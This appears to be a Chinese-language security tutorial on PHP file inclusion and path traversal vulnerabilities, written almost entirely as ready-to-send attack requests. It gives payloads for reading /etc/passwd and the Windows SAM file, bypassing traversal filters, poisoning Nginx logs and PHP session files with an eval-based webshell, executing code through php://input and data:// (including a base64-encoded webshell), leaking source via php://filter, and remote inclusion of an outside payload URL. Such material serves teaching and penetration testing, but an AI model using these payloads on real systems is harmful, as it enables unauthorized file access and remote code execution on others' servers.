【漏洞】文件包含漏洞

前言

A File Inclusion Vulnerability is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time.(维基百科

A directory traversal, path traversal, or dot-dot-slash attack exploits insufficient security validation or sanitization of user-supplied file names, such that characters representing “traverse to parent directory” are passed through to the operating system’s file system API. An affected application can be exploited to gain unauthorized access to the file system.(维基百科

漏洞原理

  • 服务器允许接受文件路径作为参数,且代码中涉及到读取文件

漏洞利用

  • 配合文件上传进行漏洞利用
  • 配合日志文件读取,根据默认的日志文件路径,进行漏洞利用
  • 配合Session会话文件,根据默认的Session会话文件路径,进行读取漏洞利用

直接传参

绝对路径

request
1
GET http://127.0.0.1:80/?key=/etc/passwd

相对路径

request
1
GET http://127.0.0.1:80/?key=../etc/passwd
相对路径双写绕过
  • 如果网站中做了../..\过滤,可以使用双写绕过,每一组..././表示一组../
request
1
GET http://127.0.0.1:80/?key=..././payload.php
URLEncode绕过
  • 如果网站中只做了../..\过滤,也可以使用URLEncode编码绕过,每一组..%2F表示一组../
request
1
GET http://127.0.0.1:80/?key=..%2Fpayload.php

file协议(本地文件包含)

绝对路径

Linux
request
1
GET http://127.0.0.1:80/?key=file:///etc/passwd
Windows
request
1
GET http://127.0.0.1:80/?key=file://c:\Windows\System32\config\SAM

相对路径

Linux
request
1
GET http://127.0.0.1:80/?key=file://./etc/passwd
Windows
request
1
GET http://127.0.0.1:80/?key=file://.\Windows\System32\config\SAM

日志文件包含

  • 解决部分协议需要提供正确的文件路径的问题
Nginx日志
  • 第一次请求时写入日志
  • 第二次请求时读区读取日志
request
1
2
3
4
5
GET http://127.0.0.1:80/
User-Agent: <?php eval($_REQUEST['x']);?>

###
GET http://127.0.0.1:80/?key=file:///var/log/nginx/access.log

Session文件包含

  • 解决部分协议需要提供正确的文件路径的问题
php的session
  • 第一次请求时生成session文件
  • 第二次请求时读取session文件

PHPSESSID:可以手动指定Session文件名后缀

request
1
2
3
4
5
6
7
8
9
10
11
12
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------000000000000000
Cookie: PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

---------------------------000000000000000
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php eval($_REQUEST['x']);?>
---------------------------000000000000000--

###
GET http://127.0.0.1:80/?key=file:///var/lib/php/sessions/sess_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

php协议

input

前置条件
  • 配置文件中开启了allow_url_fopen
php.ini
1
allow_url_fopen = On
  • 配置文件中开启了allow_url_include
php.ini
1
allow_url_include = On
  • 文件包含的代码不能有前缀
index.php
1
<?php include($_REQUEST['key']);?>
漏洞利用
request
1
2
3
4
POST http://127.0.0.1:80/?key=php://input
Content-Type: application/x-www-form-urlencoded

<?php eval($_REQUEST['x']);?>

filter

读取Base64编码后的文件内容
request
1
GET http://127.0.0.1:80/?key=php://filter/read=convert.base64-encode/resource=payload.php
  • 得到的数据需要先进行Base64解码
读取Rot13编码后的文件内容
request
1
GET http://127.0.0.1:80/?key=php://filter/read=string.rot13/resource=payload.php
  • 得到的数据需要先进行Rot13解码
读取UCS编码后的文件内容
request
1
GET http://127.0.0.1:80/?key=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=payload.php
  • 得到的数据需要先进行UCS解码,如果是Windows平台需要进行UCS-2LE解码,如果是Linux平台需要进行UCS-2BE解码

data协议

未编码

request
1
GET http://127.0.0.1:80/?key=data://text/plain,<?php eval($_REQUEST['x']);?>

Base64编码

request
1
GET http://127.0.0.1:80/?key=data://text/plain;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3gnXSk7Pz4=

http协议(远程文件包含)

前置条件

  • 配置文件中开启了allow_url_fopen
php.ini
1
allow_url_fopen = On
  • 配置文件中开启了allow_url_include
php.ini
1
allow_url_include = On

漏洞利用

request
1
GET http://127.0.0.1:80/?key=http://example.com/payload.php

代码审计

  • 代码中包含读取文件的权限,可以借助这个权限访问其他敏感文件
1
include($_REQUEST['key']);

完成

参考文献

哔哩哔哩——千锋教育网络安全学院
哔哩哔哩——xiaodisec